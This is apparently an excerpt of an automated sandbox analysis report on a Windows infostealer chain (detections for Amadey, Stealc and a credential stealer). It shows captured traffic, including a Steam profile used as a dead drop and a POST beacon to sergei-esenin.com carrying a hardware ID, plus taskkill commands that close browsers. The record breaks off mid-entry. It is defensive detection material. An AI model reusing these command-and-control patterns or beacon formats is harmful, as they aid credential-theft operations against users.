2024-10-24 17:30:27 UTC	15331	OUT	Data Raw: c6 fc 05 91 35 08 ff df b0 f4 91 e3 de ca 20 cc a5 38 4e c1 d6 c7 50 24 29 1a de 48 fd 6e 9b d2 14 39 59 da c1 0c 71 21 9a 9d 22 02 c3 c7 f7 51 44 eb 13 bc 97 ca 1b 43 0c 45 9e 65 0e 96 73 29 60 b1 62 fb 6b 29 9b ef b8 bb d7 79 ba cb 8c 48 48 ae 3d ce 86 e0 00 32 16 07 98 f4 70 f4 5b 0d c7 fb be 12 4e 2a 80 58 37 86 95 ae d5 78 12 89 10 3d 50 8e 7c 08 e4 2c 0f 5f 46 89 b5 f3 77 38 2a c0 24 7e 26 60 11 fd 58 8a a0 d3 54 85 24 93 48 d9 bd aa 41 ce 45 45 2d 25 7d 00 c9 5e a4 58 6f f2 19 f8 92 97 81 24 5f 19 03 cb c0 02 71 74 e2 ac 30 1f cd 92 b3 bc 80 2b b9 8c 38 84 2c 0a 9c 0a bd 80 82 ad 9b 42 eb 0d 70 4b b7 e9 ed 8c 9f a0 bd 41 eb 4c 38 f7 2e 25 49 c9 d0 50 00 92 3d 61 41 33 2c 50 dc 3b 44 b8 b2 88 23 14 c6 6e 09 32 05 b8 10 2b c7 64 d2 94 10 10 b6 44 6d Data Ascii: 5 8NP$)Hn9Yq!"QDCEes)`bk)yHH=2p[NX7x=P\|,_Fw8$~&`XT$HAEE-%}^Xo$_qt0+8,BpKAL8.%IP=aA3,P;D#n2+dDm
2024-10-24 17:30:27 UTC	15331	OUT	Data Raw: 19 3f 1b d4 7b 5e 1e 11 b8 26 6a 66 32 29 da 56 36 b8 11 d9 63 ad ac 84 02 ba a5 3d 46 5b a3 d3 67 3c de 4e cd a8 82 d3 b6 e9 5f f0 3d 59 70 e8 c0 54 4a a0 07 f9 ac 89 ad ec 44 45 c0 ed 86 69 a8 ce a3 b4 25 91 12 46 63 e7 af 06 c4 ec c7 79 40 b7 8b 41 d1 6b d6 71 2b 63 ff b6 9b f7 de 56 11 e2 90 2f f6 bd 5c 1e 7f fa df 56 a5 f3 a8 30 99 bc 47 61 79 36 70 08 83 cd ef b6 de 7f 46 fa e2 4a 90 eb ef 8f af a2 0d 0a 16 13 52 4b 86 68 3e 99 0e a7 e2 47 43 57 9e ac f7 dd a1 e9 33 53 e7 f3 23 1f a6 05 b0 7c f9 63 bd 21 fc 04 6f 7c e3 cd 19 bc d2 77 53 62 0a bd 49 fa 06 4b fa 80 5d d0 8c 44 80 c3 ca 9b 0a 5f 25 de 28 76 a1 69 35 29 3a d3 3a e3 70 01 60 ff cd be a9 c3 9a ec 28 f6 73 e6 be 09 f2 fe ab 35 84 e0 06 52 a1 11 40 4a 40 78 05 1f 72 65 d6 05 81 e4 12 00 fd Data Ascii: ?{^&jf2)V6c=F[g<N_=YpTJDEi%Fcy@Akq+cV/\V0Gay6pFJRKh>GCW3S#\|c!o\|wSbIK]D_%(vi5)::p`(s5R@J@xre
2024-10-24 17:30:29 UTC	1029	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ho17us89pjckjffc0cue8slodb; expires=Mon, 17 Feb 2025 11:17:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UvLv%2FvgxqHGEIS03AGV0g5dIZrT7XjnRNLcMUGSEOK8STh%2F3hOL9oI5V1t7OfEA0Xr2CfltMZMWbJl1%2FRuZHA0WnOwSWHDOlKwyeji%2BXms%2BCUH%2FOZMTOEEFicAULbcHiDVh2aw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb1e51b88285f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&sent=237&recv=629&lost=0&retrans=0&sent_bytes=2846&recv_bytes=571588&delivery_rate=1867182&cwnd=233&unsent_bytes=0&cid=0d64f18435819d2a&ts=1102&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50014	104.102.49.254	443	652	C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:30:28 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 17:30:29 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 17:30:29 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=3e9e77b20f77ca8f0dc8d586; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 17:30:29 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 17:30:29 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50018	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:30:31 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=EKR9x8mMoXSiOyXelVCptRlax5_KFh8oSDgBjRdWaZs-1729791015-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-24 17:30:31 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 43 44 46 38 36 34 46 34 46 32 32 43 44 46 35 45 34 45 34 42 30 45 36 39 34 39 42 37 38 34 36 30 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=CDF864F4F22CDF5E4E4B0E6949B78460
2024-10-24 17:30:31 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c32g4r8u4e1vu2q4s9mehp1uip; expires=Mon, 17 Feb 2025 11:17:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RmJwIiDXMZCQsZP%2BGOHlG56ePEfNNxlY%2F2C4Rz%2FTqduyynIigksJ73FsN709SRDWEfPZwDWceFfEq4LTYjfHGYufCb8whE2qK2SSx29yMR5TBBk9XQfM6VSIHK6m5nw34ABL0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb1f94c11474f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1170&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1077&delivery_rate=2250194&cwnd=251&unsent_bytes=0&cid=c6b9b55ebb04f654&ts=548&x=0"
2024-10-24 17:30:31 UTC	299	IN	Data Raw: 31 32 34 0d 0a 61 70 46 7a 37 58 77 51 76 47 52 52 35 67 4b 39 36 6a 67 52 51 51 70 75 62 2f 5a 38 66 62 61 2b 63 58 68 2b 61 6c 43 59 43 4d 41 78 36 6c 47 59 58 69 71 65 44 43 57 53 63 6f 65 32 46 30 31 75 4f 31 5a 61 32 45 35 4d 67 35 42 41 53 55 31 45 59 61 35 55 37 77 66 34 48 59 67 67 50 38 34 46 50 34 4a 74 30 4d 52 64 61 53 51 6f 51 6b 32 51 43 46 2b 4d 6a 6c 31 61 47 30 68 71 71 48 58 73 45 62 4d 47 7a 30 59 79 31 42 41 6c 6c 6a 6a 68 78 57 51 2b 63 44 4a 62 51 63 52 4e 53 4a 69 50 51 45 74 51 57 32 62 45 4a 37 4d 65 39 42 4b 41 49 44 2f 4f 42 54 2b 43 62 64 44 45 58 57 6b 6b 4b 45 4a 4e 6b 41 68 66 6a 49 35 64 57 68 74 49 61 71 68 31 37 42 47 7a 42 73 39 47 4d 74 51 51 4a 5a 59 34 34 63 56 6b 50 6e 41 79 57 30 48 45 54 55 69 59 6a 30 42 4c 55 46 Data Ascii: 124apFz7XwQvGRR5gK96jgRQQpub/Z8fba+cXh+alCYCMAx6lGYXiqeDCWScoe2F01uO1Za2E5Mg5BASU1EYa5U7wf4HYggP84FP4Jt0MRdaSQoQk2QCF+Mjl1aG0hqqHXsEbMGz0Yy1BAlljjhxWQ+cDJbQcRNSJiPQEtQW2bEJ7Me9BKAID/OBT+CbdDEXWkkKEJNkAhfjI5dWhtIaqh17BGzBs9GMtQQJZY44cVkPnAyW0HETUiYj0BLUF
2024-10-24 17:30:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50074	104.102.49.254	443	5228	C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:31:02 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 17:31:03 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 17:31:03 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=b4f9153d4cfd4c73e7f4ce53; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 17:31:03 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 17:31:03 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Target ID:	0
Start time:	13:29:05
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x4f0000
File size:	2'989'568 bytes
MD5 hash:	19CA4C1711E487E5C93A66F3E5398C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2184520949.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2184690433.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2184807186.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2184381596.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:29:25
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe"
Imagebase:	0xd10000
File size:	1'934'848 bytes
MD5 hash:	23A502CF6A3D8B5AAF90B60E0163EB90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2329238363.0000000000D11000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2288969825.0000000005410000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:29:27
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x990000
File size:	1'934'848 bytes
MD5 hash:	23A502CF6A3D8B5AAF90B60E0163EB90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2351037626.0000000000991000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.2310001916.0000000005060000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:29:28
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe"
Imagebase:	0x7ff6068e0000
File size:	1'852'928 bytes
MD5 hash:	FE2148029209699E0EE2CBA27C4D5F8B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000003.2316405109.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.2356707937.00000000000D1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.2357660473.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:29:28
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x990000
File size:	1'934'848 bytes
MD5 hash:	23A502CF6A3D8B5AAF90B60E0163EB90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2329802487.0000000005250000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2370281084.0000000000991000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:29:30
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe"
Imagebase:	0xc50000
File size:	2'780'160 bytes
MD5 hash:	47A01F59492FF5A80511836A1707A396
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:30:00
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x990000
File size:	1'934'848 bytes
MD5 hash:	23A502CF6A3D8B5AAF90B60E0163EB90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2631105456.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:30:09
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe"
Imagebase:	0xc30000
File size:	2'989'568 bytes
MD5 hash:	19CA4C1711E487E5C93A66F3E5398C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:30:14
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe"
Imagebase:	0xf60000
File size:	1'852'928 bytes
MD5 hash:	FE2148029209699E0EE2CBA27C4D5F8B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.2828087899.000000000163E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000003.2785659167.0000000005500000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.2826208289.0000000000F61000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:30:19
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe"
Imagebase:	0xcd0000
File size:	919'552 bytes
MD5 hash:	03BAA19835A87FFA911CFE9FB0763541
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000000D.00000003.2892795136.000000000189F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:30:20
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xef0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:30:20
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:30:21
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe"
Imagebase:	0xc30000
File size:	2'989'568 bytes
MD5 hash:	19CA4C1711E487E5C93A66F3E5398C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:30:22
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xef0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:30:22
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
